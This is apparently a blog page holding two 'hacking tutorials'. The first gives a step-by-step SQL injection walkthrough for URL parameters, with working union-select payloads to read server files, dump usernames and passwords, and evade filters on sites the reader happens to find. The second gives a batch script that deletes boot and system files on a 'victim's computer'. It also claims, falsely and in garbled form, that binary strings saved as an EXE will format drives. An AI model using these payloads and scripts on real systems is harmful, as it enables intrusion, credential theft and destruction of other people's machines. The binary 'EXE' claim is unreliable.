-This lesson only provides sql injection examples for url parameters such it is such a large subject on it's own
-This lesson gives small examples of filter evasion techniques
::The Lesson::
-Some commands you will need to know:
'union all select': combines two or more select statements into one query and returns all rows
'order by': used to sort rows after a select statement is executed
'load_file()': loads a local file from the site or server examples would be .htaccess or /etc/passwd
'char()': used to change decimal ascii to strings, can be used for filter evasion--in sql injections, used in conjunction with load_file
'concat()': combines more than one column into a single column, enabling more columns to be selected than the number that are showing on the page (You will understand better later)
'--': a comment
'/*': another type of comment
-Injection SQL Queries into URL Parameters
So you've found a site: 'http://www.site.com/index.php?id=5', and want to test if it's vulnerable to SQL Injections.
1) Begin by checking if you can execute some of your own queries, so try:
/index.php?id=5 and 1=0--
If after executing the above statement, nothing has happened and the page has remained the same, you can try:
/index.php?id='
If neither of those work, for the purposes of this tutorial move on to another site.
Otherwise, if a blank page showed up you just might be in luck!
2) Now we want to find how many columns and which ones are showing when the select statement is executed so we use:
/index.php?id=5 order by 20
If you get an error decrement the number 20, if there is no error continue incrementing until you get one and then the number just before your error is the number of columns in the table you're selecting from.
Example:
/index.php?id=5 order by 15 <--returns no error, but /index.php?id=5 order by 16 <--returns an error, then we know that there are 15 columns in our select statement.
3) The next statement will null the id=5 so the script only executes our commands and not it's own, and show us which columns we can extract data from:
/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- <--The comment comments out anything the script would append to the end of the statement so that only our statement is looked at.
So now look at the page and if you see any of the numbers you just typed in, you know those columns are showing, and we can gather information from them. For this example let's pretend columns 5, 7, and 9 are showing.
4) Now we can begin gathering information!
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15--
As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column? This is where concat() comes in:
/index.php?id=null union all select 1,2,3,4,concat(user(),char(58),database(),char(58) ,version()),6,7,8,9,10,11,12,13,14,15--
Now look at your page, user(), database(), and version() are all in one place, and are separated by a colon this demonstrates the use of concat() and char().
The user() will usually give something like username@localhost, but you may get lucky and get username@ipaddresshere, in this instance you can try to brute force the FTP login. The version would help you look up exploits for that version of the database() in use--but only if you're a skiddy!
5) Before we can check if we have load_file perms, we must get an FPD (Full Path Disclosure) so we know exactly where the files are located that we're trying to open. Below are some methods to get an FPD:
-/index.php?id[]=
-You could attempt to Google the full path of the site by trying something like "/home/sitename" and hoping that you'll find something in Google
-"Session Cookie Trick" <--Thanks to haZed at enigmagroup.org. In the url type: 'javascript:void(document.cookie="PHPSESSID=");' This will give a session_start() error and an FPD.
Now we will attempt to use load_file(), this example will load the .htaccess file, make sure you know the file you're trying to load actually exists or you may miss out on your opportunity to realize what great perms you have:
/index.php?id=null union all select 1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97, 109, 101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115, 105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112, 100, 47, 46, 104, 116, 97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--
If you see the .htaccess file, congrats! You have load_file() perms. Now try to load include files such as config.inc.php for database usernames and passwords, hoping that the admin is dumb enough to use the same username and password for ftp. Another idea would be to load .htpasswd after finding it's location from .htaccess and then logging in to all the password-protected areas that you want to on the site.
If you don't see the .htaccess file, I will include one more way to extract info by using sql injections.
-Using information_schema.tables:
So you don't have load_file() perms? No problem, we can check for information_schema.tables.
1) 'table_name' is the name of a table that exists in all information_schema tables on every site:
/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--
If the site is showing information_schema.tables, the words 'CHARACTER_SETS' will appear in column 5. What can I do with CHARACTER_SETS you might be wondering. Well, nothing that I'm going to show you, but you can find out other tables that exist on the site. The information_schema.tables contains a list of every table in the database on the site, so you can pull up the table username and maybe password if they exist...Then what do you think the information_schema.columns hold? That's right, a list of all the columns on the site. So rather than using just the above injection you could try any of the following:
-/index.php?id=null union all select 1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables-- <--Selects all 'distinct' table names from information_schema.tables, meaning it will print out all tables at one time
-/index.php?id=null union all select 1,2,3,4,concat(table_name,char(58),column_name),6, 7,8,9,10,11,12,13,14,15 from information_schema.columns-- <--Selects all tables and columns that go with each table seperated by a colon
2) If none of the above queries give you anything except for 'CHARACTER_SETS' you will have to use enumeration to determine the names of the other tables:
/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_name != "CHARACTER_SETS"--
Then it would show the next table in line so you would modify the above to say:
where table_name != "CHARACTER_SETS" and table_name != "nexttableinline"--
Until no more tables show, then you can do the same for the columns.
3) Now after you've executed one or all of those statements, let's say you found the table 'users' and it has the columns 'username', 'password', 'id', and 'email'. To extract that info from the table, use:
/index.php?id=null union all select 1,2,3,4,concat(username, char(58), password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users--
And you'll get the info you requested, of course you can modify that as you like such as:
-/index.php?id=null union all select 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1--
-/index.php?id=null union all select 1,2,3,4,concat(password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users where username='Admin' <--Replacing Admin with the top user's name such as admin or owner etc..
::Final Tips::
With any luck, one of these methods has worked for you and you were able to accomplish your goal. However, if none of them worked, you can start guessing common table names and then columns:
/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from users-- <--If the page shows up, you know the table exists and you can start guessing column names:
/index.php?id=null union all select 1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users-- <--If you get a username, good job you guessed a correct table and column, otherwise keep guessing.
::Filter Evasion Techniques::
-You can URL Encode characters, hex encode them, use any encoding you like as long as your browser can interpret it
-Rather then using 'union all select' try 'UniON aLL SeLECt' to see if the filter checks case
-Try using the plus sign to split words up: ' 'uni'+'on'+' '+'all'+' '+'Se'+'lect'
-Combine the methods mentioned above using different cases, the plus operator, and not just text but encoding as well
-Be creative
12:02 PM | Labels: Hacking Tutorials | 0 Comments
How To Kill A Computer - Easy Methods
The first method, of course, is to format the hard drive. But making a BAT file is old, and people can prevent it. So these are some tricks that i found out.
To Format a C drive:
Copy/paste this into Notepad and save it as an EXE file (not BAT):
01001011000111110010010101010101010000011111100000
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
You can use the same method as above to create an EXE file that deletes the Boot.ini:
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
Or if you prefer the old BAT command, save this in Notepad as a BAT file(although this deletes other files too):
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Finally, if you have physical access to your victim's computer, you can delete the Boot.ini yourself manually. First, you have to enable viewing of Hidden/Operating System Files.
In Vista:
Open any folder, On the top left, click Organize>Folder &Search Option>Click on the view tab, then choose to show Hidden Files and uncheck the Hide protected operating system files box.
In windows XP:
Open any folder, click on the tools menu, then Folder options, click on the view tab, then choose to show Hidden Files and uncheck the Hide protected operating system files box.
After you have done this, go to my computer, then the main hard drive (most probably C) and look for the file boot.ini - Delete it permanently and you won't be able to boot windows again.
11:59 AM | Labels: Hacking Tutorials | 0 Comments